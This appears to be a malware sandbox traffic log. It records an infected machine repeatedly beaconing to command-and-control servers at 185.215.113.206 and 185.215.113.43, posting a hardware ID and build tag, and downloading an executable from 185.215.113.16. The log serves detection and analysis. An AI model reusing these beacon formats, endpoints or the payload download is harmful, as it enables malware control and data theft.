Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 2d 2d 0d 0a Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="build"tale------CGHDAKKJJJKJKECBGCGD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002778001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="build"tale------EBAFBGIDHCBFHIECFCBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002779001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="build"tale------HDHCFIJEGCAKJJKEHJJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="build"tale------HJEHIJEBKEBFBFHIIDHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 2d 2d 0d 0a Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="build"tale------CFHCBKKFIJJJECAAFCGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="build"tale------FHCGCFHDHIIIDGCAAEGD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
